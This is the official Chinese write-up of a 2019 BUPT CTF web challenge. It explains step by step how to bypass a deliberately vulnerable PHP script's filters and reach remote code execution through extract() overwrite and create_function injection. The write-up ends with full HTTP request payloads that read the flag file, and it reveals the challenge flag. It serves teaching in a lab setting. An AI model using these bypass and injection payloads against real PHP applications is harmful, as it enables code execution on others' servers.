2019北邮网安杯官方解题报告——Web1


Web 1 - easy php

tags: bupt, write-up

Infomation

Name: easy php

Desc: PHP is the best language!

Flag: BUPT{PHP_Bl@ck_Tech_1s_Interesting}

Tips:

链接:web1

What you can get directly.

  <?php 
highlight_file(__FILE__);
echo "</hr>";
error_reporting(0);

if($_REQUEST) {
   foreach($_REQUEST as $key=>$value) {
       if(preg_match('/[a-zA-Z]/i', $value))  
           die('go away');
  }
}

if($_SERVER) {
   if (preg_match('/flag|liupi|bupt/i', $_SERVER['QUERY_STRING']))  
       die('go away');
}

$ia = "index.php";
if (preg_match('/^buptisfun$/', $_GET['bupt']) && $_GET['bupt'] !== 'buptisfun') {
   $ia = $_GET["ia"];
}

if(file_get_contents($ia)!=='buptisfun') {
   die('go away');
}

$liupi = $_GET['liupi'];
$action='';
$arg='';
if(substr($_GET['liupi'], 32) === sha1($_GET['liupi'])) {
   extract($_GET["flag"]);
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
   die('go away');
} else {
   $action('', $arg);
}

?>

TL;DR

这个题的考点是对于一沓子php过滤函数的绕过, 然而有同学赛后说我考的太多Orz...

主要考点就在go away前面

Step One - L8

PHP这个$_REQUESTS里面是有个使用的变量的顺序的.​ 我在write-up中看到有一位同学说了POST会覆盖GET, 这是对的, 但是为什么呢?​ 在PHP的配置中, 有个的东西是variables_order=EGPCS 这个代表了php在加载 $_REQUESTS时, 会按照 $_ENV(环境变量), $_GET(GET相关参数), $_POST(POST相关参数), $_COOKIE(COOKIE键值), $_SERVER(服务器及运行环境相关信息)的顺序进行加载和覆盖.​ 对于这个题, 我们后面的所有的参数都要进行$_GET方式进行请求, 所以我们可以使用$_POST$_COOKIE对其进行覆盖 ($_SERVER是服务器端配置的, 一般情况下我们改不了的)​ 在get的同时, 在post或者cookie的数据中, 用相同的key, 但是不同的value进行覆盖就可以啦.

Step Two - L14

对于$_SERVER['QUERY_STRING']这个变量来说, 你问号后面怎么传的, 他就怎么直接给你, 并不会进行urldecode, 然而在$_GET中将xxx=yyy作为键值来使用数据时, 会将这个QUERY_STRING urldecode之后, 再去用, 这样我们就能很简单的绕过啦~​ 比如在不想出现flag=abc的时候, 我们就可以直接%66lag=abc (更简单的办法是除了等号, 其他的一概url全编码)

Step Three - L19

这句话的意思是我们需要以/^buptisfun$/来对$_GET['bupt']这个变量进行正则匹配, 而且匹配到, 但是这个变量又不能是buptisfun这个字符串.​ 有同学在write-up里面提到了用%00绕过, 但是那是针对ereg的方法, 不是preg_match(或者是在5.3之后的一个版本中修复了, 具体我记不清了)​ 正确的解法是因为正则匹配的时候$不止代表了一个字符串的结尾, 它还可以匹配到换行符(%0a)​ 所以用bupt=buptisfun%0a这样就可以绕过啦~

Step Four - L23

file_get_contents是可以get一个url的​ 如果你有服务器, 那随便放一个页面, 里面写上buptisfun搞定​ 如果你没有服务器, 可以使用data协议进行绕过, 这里我选择在进行一次base64加密, 省的bupt被第二个过滤查到data:text/plain;base64,YnVwdGlzZnVu

Step Five - L30

这是一个很常见的一个函数了, 因为substr(array(), 32)返回NULL, 而且sha1(array())也是NULL,那么我们就直接让$_GET['liupi']变成array()​ ==>   liupi[]=1

Step Six - L31

这是php里面很典型的一个变量覆盖了, 利用的方式就是传入一个数组(字典), 以key为名字的变量的值会被数组里面对应key的value所覆盖, 这样就可以实现写$action$arg了.

Step Seven - L34

这个过滤的内容的要求是$action不能仅包含字母数字下划线, 其实这是P神之前在code-breaking里面的考点, 直接引用了~

为什么函数前面可以加一个%5c(\)?其实简单的不行,php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

Step Eight - L37

同7直接引用​

code-breaking的第一题,有一个考点是create_function代码注入。关于这个点,以前我经常看到有人分享一句话木马,有的用create_function创建一个函数然后执行,我总是默默地想其实创建完了不用执行的。create_function('', $_GET['code']);我们来看一下上述代码为什么可以直接RCE。摘取出create_function的源代码(图1),可见用户输入的参数是function_argsfunction_code,他们被拼接成一个完整的PHP函数:function __lambda_func ( function_args ) { function_code } \0这个函数代码会先放在zend_eval_stringl里执行,可以理解为eval。执行成功后,再于函数列表中找到__lambda_func函数,将其重命名成lambda_%d%d代表“这是本进程第几个匿名函数”。最后从函数列表里删除__lambda_func。由于代码就是简单的拼接,所以我们可以闭合括号,执行任意代码。比如:

  1. 如果可控在第一个参数,需要闭合圆括号和大括号:create_function(''){}phpinfo();//', '');

  2. 如果可控在第二个参数,需要闭合大括号:create_function('', '}phpinfo();//');

Solution

根据上面所有的相关绕过方法, 我们可以构造出最终的payload

  POST https://ctf8081.bupt.edu.cn/?b%75pt=b%75ptisfun%0a&i%61=data:text/plain;base64,YnVwdGlzZnVu&li%75pi[]=1&fl%61g[action]=%5ccreate_function&fl%61g[arg]=%3B%7Decho%20file_get_contents%28%27%2Ffl%61g%27%29%3B%2F%2F HTTP/1.1
Content-Type: application/x-www-form-urlencoded

bupt=1&ia=2&liupi[]=3&flag[action]=4&flag[arg]=5
  GET /index.php?b%75pt=b%75ptisfun%0a&i%61=data:text/plain;base64,YnVwdGlzZnVu&li%75pi[]=1&fl%61g[action]=%5ccreate_function&fl%61g[arg]=%3B%7Decho%20file_get_contents%28%27%2Ffl%61g%27%29%3B%2F%2F HTTP/1.1
Host: 58.87.73.74
Cookie: bupt=1; ia=2; liupi[]=3; flag[action]=4; flag[arg]=5;

这里我记得有个同学说他用的curl, 搞的都要炸了.

给你们推荐两个工具, 做web题很方便, 1. burp suite 2. postman 通过这两个工具可以直接构造数据包发出来, 不用手写curl那么麻烦啦~

Magic

因为考虑到是面向新手的, 这个题只要你用好搜索引擎, 其实是签到难度

对于每个过滤的点, 我们直接百度就好了, 举两个例子:

1-5

7-8

其实百度就可以解决了, 然而... 我下午看着两三秒才发过来的攻击流量, 然后混着一大堆扫描器的流量. 我觉得直接提示你们去百度不太好...... 而且有人做出来了...我就没再给提示Orz...

最新回复 (1)
  • 小白 bPJoanna 7月前
    0 2
    支持一下
返回
发新帖